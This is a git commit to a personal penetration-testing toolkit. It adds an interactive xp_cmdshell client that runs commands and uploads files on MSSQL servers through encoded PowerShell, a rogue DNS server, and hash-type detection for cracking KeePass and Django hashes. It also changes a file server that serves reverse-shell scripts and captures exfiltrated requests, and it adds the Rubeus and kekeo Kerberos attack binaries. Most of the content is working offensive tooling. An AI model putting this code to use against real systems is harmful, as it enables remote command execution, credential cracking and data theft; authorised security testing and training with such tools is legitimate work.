Roman Hergenreder 2 years ago
parent
commit
78e5fd16d9
10 changed files with 346 additions and 23 deletions
  1. 1 1
      __init__.py
  2. 8 0
      crack_hash.py
  3. 142 0
      dnsserver.py
  4. 28 13
      fileserver.py
  5. 2 0
      genRevShell.py
  6. 1 8
      gobuster.sh
  7. 1 1
      subdomainFuzz.sh
  8. BIN
      win/Rubeus.exe
  9. BIN
      win/kekeo.exe
  10. 163 0
      xp_cmdshell.py

+ 1 - 1
__init__.py

@@ -2,7 +2,7 @@ import os
 import sys
 
 __doc__ = __doc__ or ""
-__all__ = ["util","fileserver","xss_handler","genRevShell"]
+__all__ = ["util","fileserver","xss_handler","genRevShell","xp_cmdshell", "dnsserver"]
 
 inc_dir = os.path.dirname(os.path.realpath(__file__))
 sys.path.append(inc_dir)

+ 8 - 0
crack_hash.py

@@ -61,6 +61,7 @@ class HashType(enum.Enum):
     # python
     PYTHON_PBKDF2_SHA256 = 20300
     PYTHON_PBKDF2_SHA512 = 20200
+    DJANGO_PBKDF2_SHA256 = 10000
 
     # Windows
     LM   = 3000
@@ -73,6 +74,9 @@ class HashType(enum.Enum):
     KERBEROS_TGS_REP = 13100
     KERBEROS_AS_REP = 18200
 
+    # Keepass
+    KEEPASS = 13400
+
 class Hash:
 
     def __init__(self, hash):
@@ -114,6 +118,10 @@ class Hash:
                 self.type.append(HashType.PYTHON_PBKDF2_SHA256)
             elif crypt_type == "pbkdf2-sha512":
                 self.type.append(HashType.PYTHON_PBKDF2_SHA512)
+            elif crypt_type == "keepass":
+                self.type.append(HashType.KEEPASS)
+        elif "$" in raw_hash and raw_hash.startswith("pbkdf2_sha256$"):
+            self.type.append(HashType.DJANGO_PBKDF2_SHA256)
         else:
             if ":" in raw_hash:
                 parts = raw_hash.split(":")

+ 142 - 0
dnsserver.py

@@ -0,0 +1,142 @@
+#!/usr/bin/env python
+# coding=utf-8
+
+import argparse
+import datetime
+import sys
+import time
+import threading
+import traceback
+import socketserver
+import struct
+
+try:
+    from dnslib import *
+except ImportError:
+    print("Missing dependency dnslib: <https://pypi.python.org/pypi/dnslib>. Please install it with `pip`.")
+    sys.exit(2)
+
+
+class DnsServer:
+
+    class BaseRequestHandler(socketserver.BaseRequestHandler):
+
+        def get_data(self):
+            raise NotImplementedError
+
+        def send_data(self, data):
+            raise NotImplementedError
+
+        def handle(self):
+            now = datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f')
+            try:
+                data = self.get_data()
+                self.send_data(self.server.server.dns_response(data))
+            except Exception:
+                traceback.print_exc(file=sys.stderr)
+
+    class TCPReqImpl(BaseRequestHandler):
+
+        def get_data(self):
+            data = self.request.recv(8192).strip()
+            sz = struct.unpack('>H', data[:2])[0]
+            if sz < len(data) - 2:
+                raise Exception("Wrong size of TCP packet")
+            elif sz > len(data) - 2:
+                raise Exception("Too big TCP packet")
+            return data[2:]
+
+        def send_data(self, data):
+            sz = struct.pack('>H', len(data))
+            return self.request.sendall(sz + data)
+
+    class UDPReqImpl(BaseRequestHandler):
+
+        def get_data(self):
+            return self.request[0].strip()
+
+        def send_data(self, data):
+            return self.request[1].sendto(data, self.client_address)
+
+    class UDPImpl(socketserver.ThreadingUDPServer):
+
+        def __init__(self, server):
+            super().__init__((server.bind_addr, server.listen_port), DnsServer.UDPReqImpl)
+            self.server = server
+
+    class TCPImpl(socketserver.ThreadingTCPServer):
+
+        def __init__(self, server):
+            super().__init__((server.bind_addr, server.listen_port), DnsServer.TCPReqImpl)
+            self.server = server
+
+    def __init__(self, addr, port=53):
+        self.bind_addr = addr
+        self.listen_port = port
+        self.sockets = []
+        self.threads = []
+        self.sockets.append(DnsServer.UDPImpl(self))
+        self.sockets.append(DnsServer.TCPImpl(self))
+        self.entries = { "A": {}, "AAAA": {}, "MX": {}, "TXT": {}, "NS": {} }
+        self.debug = False
+        self.ttl = 60 * 5
+        self.logging = False
+
+    def addEntry(self, type, domain, value):
+        if type not in self.entries:
+            print("Invalid type, must be one of:", self.entries.keys())
+            return False
+
+        if not domain.endswith("."):
+            domain += "."
+
+        if type in ["A","MX","NS"]:
+            value = A(value)
+        elif type in ["AAAA"]:
+            value = AAAA(value)
+        elif type in ["TXT"]:
+            value = CNAME(value)
+
+        if self.debug:
+            print(f"Added entry: {type} {domain} => {value}")
+
+        self.entries[type][domain] = value
+        return True
+
+    def startBackground(self):
+        for socket in self.sockets:
+            t = threading.Thread(target=socket.serve_forever)
+            t.start()
+            self.threads.append(t)
+
+    def start(self):
+        self.startBackground()
+        map(lambda t: t.join(), self.threads)
+
+    def stop(self):
+        map(lambda s: s.shutdown(), self.sockets)
+        map(lambda t: t.join(), self.threads)
+
+    def dns_response(self, data):
+        request = DNSRecord.parse(data)
+
+        if self.debug:
+            print("DNS REQUEST:", request)
+
+        reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
+        qname = request.q.qname
+        qn = str(qname)
+        qtype = request.q.qtype
+        qt = QTYPE[qtype]
+
+        if qt in self.entries and qn in self.entries[qt]:
+            entry = self.entries[qt][qn]
+            rqt = entry.__class__.__name__
+            reply.add_answer(RR(rname=qname, rtype=getattr(QTYPE, rqt), rclass=1, ttl=self.ttl, rdata=entry))
+            if self.logging:
+                print(f"Request: {qt} {qn} -> {entry}")
+
+        if self.debug:
+            print("DNS RESPONSE:", reply)
+
+        return reply.pack()

+ 28 - 13
fileserver.py

@@ -40,6 +40,9 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
         if contentLength and int(contentLength) > 0:
             data = self.rfile.read(int(contentLength))
 
+        if "Host" in self.headers:
+            del self.headers["Host"]
+
         method = self.command
         print(target, "=>", method, target_rewrite)
         res = requests.request(method, target_rewrite, headers=self.headers, data=data)
@@ -65,6 +68,11 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
 
     def do_GET(self):
 
+        if not self.server.is_running:
+            self.send_response(200)
+            self.end_headers()
+            return
+
         path = self.server.cleanPath(self.path)
         route = self.find_route(path)
         result = route(self)
@@ -74,29 +82,32 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
         data        = b"" if len(result) < 2 else result[1]
         headers     = { } if len(result) < 3 else result[2]
 
-        self.log_request(status_code)
-        self.send_response_only(status_code)
+        if len(headers) == 0:
+            self.send_response(status_code)
+        else:
+            self.log_request(status_code)
+            self.send_response_only(status_code)
 
-        for key, value in headers.items():
-            if key.lower() not in blacklist_headers:
-                self.send_header(key, value)
+            for key, value in headers.items():
+                if key.lower() not in blacklist_headers:
+                    self.send_header(key, value)
 
-        if self.command.upper() == "OPTIONS":
-            self.send_header("Allow", "OPTIONS, GET, HEAD, POST")
+            if self.command.upper() == "OPTIONS":
+                self.send_header("Allow", "OPTIONS, GET, HEAD, POST")
 
         self.end_headers()
 
         if data and self.command.upper() not in ["HEAD","OPTIONS"]:
             self.wfile.write(data)
 
-        if path in self.server.dumpRequests:
+        if path in self.server.dumpRequests or "/" in self.server.dumpRequests:
             contentLength = self.headers.get('Content-Length')
             body = None
 
             if contentLength and int(contentLength) > 0:
                 body = self.rfile.read(int(contentLength))
 
-            print("==========")
+            print("===== Connection from:",self.client_address[0])
             print("%s %s %s" % (self.command, self.path, self.request_version))
             print(str(self.headers).strip())
             if body:
@@ -127,12 +138,15 @@ class HttpFileServer(HTTPServer):
 
         return path.strip()
 
-    def addFile(self, name, data):
+    def addFile(self, name, data, mimeType=None):
         if isinstance(data, str):
             data = data.encode("UTF-8")
 
         # return 200 - OK and data
-        self.addRoute(name, lambda req: (200, data))
+        if mimeType:
+            self.addRoute(name, lambda req: (200, data, { "Content-Type": mimeType }))
+        else:
+            self.addRoute(name, lambda req: (200, data))
 
     def dumpRequest(self, name):
         self.dumpRequests.append(self.cleanPath(name))
@@ -179,6 +193,8 @@ class HttpFileServer(HTTPServer):
 
     def stop(self):
         self.is_running = False
+        # dummy request
+        requests.get(f"http://{self.server_name}:{self.server_port}/dummy")
 
     def serve_forever(self):
         while self.is_running:
@@ -200,9 +216,8 @@ if __name__ == "__main__":
         fileServer.addFile("shell.sh", rev_shell)
         print("Reverse Shell URL: http://%s/shell.sh" % ipAddress)
     elif sys.argv[1] == "dump":
-        fileServer.dumpRequest("/exfiltrate")
         fileServer.dumpRequest("/")
-        print("Exfiltrate data using: http://%s/exfiltrate" % ipAddress)
+        print("Exfiltrate data using: http://%s/" % ipAddress)
     elif sys.argv[1] == "proxy":
         url = "https://google.com" if len(sys.argv) < 3 else sys.argv[2]
         fileServer.forwardRequest("/proxy", url)

+ 2 - 0
genRevShell.py

@@ -6,6 +6,8 @@ import pty
 import util
 import time
 import threading
+import readline
+
 
 def generatePayload(type, local_address, port):
 

+ 1 - 8
gobuster.sh

@@ -6,11 +6,4 @@ if [ $# -lt 1 ]; then
 fi
 
 HOST=$1
-EXTENSIONS=""
-
-if [ $# -gt 1 ]; then
-  EXTENSIONS="-x ${2}"
-fi
-
-gobuster dir --url="${HOST}" --wordlist="/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt" \
-  -k "${EXTENSIONS}" -b "403,404"
+gobuster dir --url="${HOST}" --wordlist="/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt" -b "403,404"  "${@:2}"

+ 1 - 1
subdomainFuzz.sh

@@ -33,4 +33,4 @@ echo "[ ] Fuzzing…"
 
 ffuf --fs ${charcountDomain},${charcountIpAddress} --fc 400 --mc all \
   -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt \
-  -u "${PROTOCOL}://${IP_ADDRESS}" -H "Host: FUZZ.${DOMAIN}"
+  -u "${PROTOCOL}://${IP_ADDRESS}" -H "Host: FUZZ.${DOMAIN}" "${@:2}"

BIN
win/Rubeus.exe


BIN
win/kekeo.exe


+ 163 - 0
xp_cmdshell.py

@@ -0,0 +1,163 @@
+# /usr/bin/env python3
+# interactive xp_cmdshell
+# with impacket and cmd
+# used https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py for reference
+import os, cmd, sys, re, base64
+from impacket import tds
+import readline
+
+class XpShell(cmd.Cmd):
+
+    def __init__(self, SQLObj):
+        cmd.Cmd.__init__(self)
+        self.sql = SQLObj
+        self.prompt = 'xp_cmd> '
+        self.file = None
+
+    def powershell_encode(self, data):
+        return base64.b64encode(data.encode('UTF-16LE')).decode()
+
+    def powershell_encode_binary(self, data):
+        return base64.b64encode(data).decode()
+
+    # interpret every line as system command
+    def default(self, arg):
+        try:
+
+            if pwsh:
+                new_arg = 'powershell -encodedCommand {}'
+                arg = new_arg.format(self.powershell_encode(arg))
+
+            self.execute_query(arg)
+
+        except ConnectionResetError as e:
+            self.reconnect_mssql()
+            self.execute_query(arg)
+        except Exception as e:
+            print('Exception: ')
+            print(str(e))
+            pass
+
+    # i wont say what it does
+    def do_exit(self, arg):
+        exit()
+
+    # ? yes
+    def do_help(self, arg):
+        print("""
+you found the help command
+
+pwsh                -   Toggle powershell on/off
+upload <src> <dest> -   upload a file
+exit                -   i wont say what it does
+              """)
+
+    def do_upload(self, data, dest):
+        writeme = bytearray()  # contains bytes to be written
+
+        try:
+            # create/overwrite the target file with powershell
+            cmd = 'New-Item -Path {} -Force'.format(dest)
+            cmd = self.powershell_encode(cmd)
+            self.execute_query('powershell -encodedCommand {}'.format(cmd))
+        except FileNotFoundError as e:
+            print('File not found.')
+            return
+        except ConnectionResetError as e:
+            self.reconnect_mssql()
+            self.execute_query('powershell -encodedCommand {}'.format(cmd))
+        except Exception as e:
+            print('Exception: ')
+            print(str(e))
+            return
+
+        total_uploaded = 0  # uploaded bytes so far
+        count = 0           # counter to run through byte array
+        write_count = 2000  # write 2000 bytes with each command
+
+        # run through all bytes of the file which have been saved in data
+        for b in data:
+            writeme.append(b)
+            # write 'write_count' bytes with each command
+            if count != 0 and count % write_count == 0:
+                self.write_bytes_to_file(writeme, dest)
+
+                writeme = bytearray()
+                total_uploaded += write_count
+                count = 0
+                print('Uploaded {} of {} bytes'.format(total_uploaded,len(data)))
+            count += 1
+
+        # if there are unwritten write them
+        if count > 0:
+            self.write_bytes_to_file(writeme, dest)
+
+            total_uploaded += count
+            print('Uploaded {} of {} bytes'.format(total_uploaded, len(data)))
+
+    # executed when ConnectionResetError
+    def reconnect_mssql(self):
+        print('connection lost attempting to reconnect...')
+        self.sql.disconnect()
+        ms_sql, res = connect_mssql()
+        if res is True:
+            self.sql = ms_sql
+            print('Success!')
+        else:
+            print('Could not re-establish connection. Exiting.')
+            exit()
+
+
+    # execute xp_cmdshell command
+    def execute_query(self, arg):
+        self.sql.sql_query("exec master..xp_cmdshell '{}'".format(arg))
+        self.sql.printReplies()
+        self.sql.colMeta[0]['TypeData'] = 80*1
+        self.sql.printRows()
+
+
+    # encodes bytes as base64 and writes them to a file via powershell
+    def write_bytes_to_file(self, data, target):
+        data = self.powershell_encode_binary(data)
+
+        # cmd to append bytes to file
+        cmd = "powershell -command \"Add-Content -value ([Convert]::FromBase64String(\'{}\')) -encoding byte -path \'{}\'\"".format(data, target)
+        cmd = self.powershell_encode(cmd)
+
+        # execute file write
+        try:
+            self.execute_query('powershell -encodedCommand {}'.format(cmd))
+        except ConnectionResetError as e:
+            self.reconnect_mssql()
+
+def connect_mssql(ip, port=1433, username="sa", password="", domain=""):
+    # do database connection (simple for now)
+    try:
+        ms_sql = tds.MSSQL(ip, port)
+        ms_sql.connect()
+        res = ms_sql.login(database = None, username=username, password=password, domain=domain)
+        ms_sql.printReplies()
+        if res:
+            return XpShell(ms_sql)
+        else:
+            return res
+
+    except Exception as e:
+        print('Exception: ')
+        print(str(e))
+        return False
+
+# if __name__ == '__main__':
+#     # pass commands directly into powershell
+#     # ./xp_cmdshell.py -powershell
+#     if len(sys.argv) > 1 and sys.argv[1] == '-powershell':
+#         pwsh = True
+#
+#     # if connection successful
+#     ms_sql, res = connect_mssql()
+#     if res is True:
+#         shell = XpShell(ms_sql)
+#         shell.cmdloop()
+#
+#     # close ms_sql
+#     ms_sql.disconnect()